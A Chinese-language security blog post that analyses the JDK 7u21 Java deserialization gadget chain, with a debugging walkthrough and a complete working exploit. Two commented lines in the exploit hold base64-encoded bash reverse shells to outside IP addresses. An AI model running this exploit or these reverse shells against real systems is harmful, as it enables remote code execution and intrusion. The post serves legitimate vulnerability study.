Java反序列化之 JDK7u21 原生链
Drunkbaby Lv6

JDK7u21-原生链

0x01 前言

发现自己还没有看过这条链子,趁着开发写疲的时候看一看其他链子,并且复现一些其它漏洞

在前面分析的利用链中,其实大致都差不多都是基于 InvokerTransformerTemplatesImpl 这两个类去进行执行命令,而其他的一些利用链也是基于这两个去进行一个变型。从而产生了新的利用链。而在这个 Jdk7u21 链中也是基于 TemplatesImpl 去实现的。

0x02 环境搭建

因为是 jdk7u21 的原生链子,所以直接搭建 jdk7u21 的环境包即可,不需要配上 CC 这一些的依赖了。

0x03 链子分析/复现

分析 yso

先来看一下该利用链的在 yso 里面给出调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()

从这里其实可以看到JDK 7u21的这条链相对来说,比前面的链需要的知识量要大一些,分析得也会比较绕。但是其实到了 TemplatesImpl.getOutputProperties 这一步其实也是和前面的相同。

并且看到里面用到了 Proxy 这个代理类,说明这条链子可能是需要用到动态代理来实现的

  • 我们正式开始进行漏洞分析,先从链尾看起,链尾是 TemplatesImpl.getOutputProperties() 方法,find usages 一下

这里的链子如果跟上去的话会发现跟不动,那么这里我们就要思考用两种办法来触发这条链子。

方法一、自动调用 getOutputProperties() 方法,一般是某个 set 自动调用 getOutputProperties() 方法

方法二、通过动态代理的方式触发 getOutputProperties() 方法

在这里 yso 给了我们答案 ———— 通过动态代理的方式进行触发,并且此处的动态代理为 Templates 类(这个其实是因为后面会去到它的实现类 TemplatesImpl 去,然后操作空间就很大了)

然后这里想了很久,我感觉自己还是有些基础的地方掌握的不够好,导致 EXP 可能只能写个一知半解这样。还是决定半看别人的,一半自己构造

独立编写 EXP

yso 这里告诉我们,链首是 LinkedHashSet 这个类,中间的步骤有:LinkedHashSet.add()String.hashCode(),最后才是走到了 Proxy(Templates).equals(),接着就是熟悉的调用 Templates 的实现类 —— TemplatesImpl 了。

看到这里我直接悟了,String.hashCode() 里面的这个 String 是 LinkedHashSet 的键值对,调用了 String.hashCode() 方法之后,会自动调用 Proxy(Templates).equals()

  • 所以归根结底,要编写 EXP,要先去看一下这个反序列化的入口 LinkedHashSet

LinkedHashSet 类的父类其实就是 HashSet 类,在 HashSet 类中提供了一个反序列化的入口方法 readObject();接着我们看一下 HashSet 类的构造函数

其中有一个构造函数很特殊,里面可以键值对可以是泛型,也就是放对象进去了,所以这一步 LinkedHashSet.add() 放进去的有一个参数肯定是代理类。

我们现在还需要触发 String.hashCode() 以及 Proxy(Templates).equals(),后面的 Proxy(Templates).equals() 最好是被自动触发,那么这一步是怎么做到的呢

这一段话摘自 Y4tacker 师傅的文章,我也是看了这段话就懂了

  1. readObject() 恢复对象的时候,因为 set 中储存的对象不允许重复,所以在添加对象的时候,势必会涉及到比较操作
  2. 如果 set 当中两个对象 hashCode 相同,则会对 key 调用 equals() 方法,如果我们用AnnotationInvocationHandler 代理一个对象,在调用 equals() 方法触发 invoke() 时,会调用 equalsImpl 方法,这里面会遍历 type(设置为 TemplateImpl 类) 中的每个方法并调用,那么就会触发 newTransform()getOutputProperties() 方法导致字节码加载任意代码的执行

这里因为 hashCode 是可控,所以才会想到用代理类来实现我们的攻击,这里实在是太妙了。如此一来,其实我们已经可以自己手写 EXP 了

  • 在这之前,可以再画个流程图让自己思路更清晰一点

先添加依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
<dependencies>  
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.18.2-GA</version>
</dependency>

<dependency>
<groupId>org.jboss.classpool</groupId>
<artifactId>jboss-classpool</artifactId>
<version>1.0.0.GA</version>
</dependency>
</dependencies>

构造 EXP 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.*;

public class exp {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Drunkbaby");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMC4xNjQvMTIzNiAwPiYx}|{base64,-d}|{bash,-i}\"}"
byte[] evil = getTemplatesImpl("Calc");
byte[][] codes = {evil};
setFieldValue(templates, "_bytecodes", codes);

String evilHashCode = "f5a5a608";
// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap hashMap = new HashMap();
hashMap.put(evilHashCode,"Drunkbaby");

// 下面部分搞动态代理,反射获取 AnnotationInvocationHandler 类,再实例化

Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = handler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Templates.class, hashMap);

// 创建动态代理

Templates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(),
new Class[]{Templates.class}, invocationHandler);

// 准备入口类 LinkedHashSet
HashSet hashSet = new LinkedHashSet();
hashSet.add(templates);
hashSet.add(proxy);

// 将恶意templates设置到map中
hashMap.put(evilHashCode, templates);
serialize(hashSet);
deserialize("ser.bin");
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object deserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
// "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}"
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
}

0x04 调试

简单的看一看吧,虽然流程已经很清晰了,主要是想调试再看一看中间比较细致的部分。断点下在 HashSet.readObject() 处,开始调试

到第 309 行,跟进 put() 方法,跟进的是 HashMap.put() 方法,这里是因为 map 在最开始被定义的时候就是 HashMap 类。继续往下

此处会跨过for 的代码块,执行下面的代码。因为 table 值是空的,这里就没法进行遍历。继续跟进 addEntry() 方法

1
addEntry(hash, key, value, i);

这里是 TemplatesImpl 的 hash 值。key 为 TemplatesImpl 的实例对象,value 则是一个空的 Object 对象,i 变量为 indexFor() 方法处理 hash 后的结果

在第一次进行 for 循环将值 put 进去之后,第二次再拿出来时,table 就不为空,能够让代码逻辑走到 for 循环里面

  • 第二次循环

table 不为空,进入到调用 equals() 的循环里面

跟进 k.equls(),发现直接进了 AnnotationInvocationHandler#invoke(),也就是进行了动态代理的调用

跟进 this.equalsImpl(),实际上逻辑在这里已经差不多很清晰了,去取出 TemplatesImpl 的诸多方法,进行循环遍历

正式调用了 TemplatesImpl.getOutputProperties(),经过一连串的 invoke 方法,这里很明显其实是通过反射的方式在调用,最后是调用了 newTransformer().getOutputProperties()

后续就很简单了,这里不再调试

0x05 小结

比较简单的一条链子,核心在于 readObject() 之后去比较的操作,以及如果 hashCode 相同,自动调用 equals() 方法这里,如果一开始不知道的话比较困难。

动态代理的思想在这一条链子里体现的淋漓尽致。

0x06 Reference

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Jdk7u21.java

 评论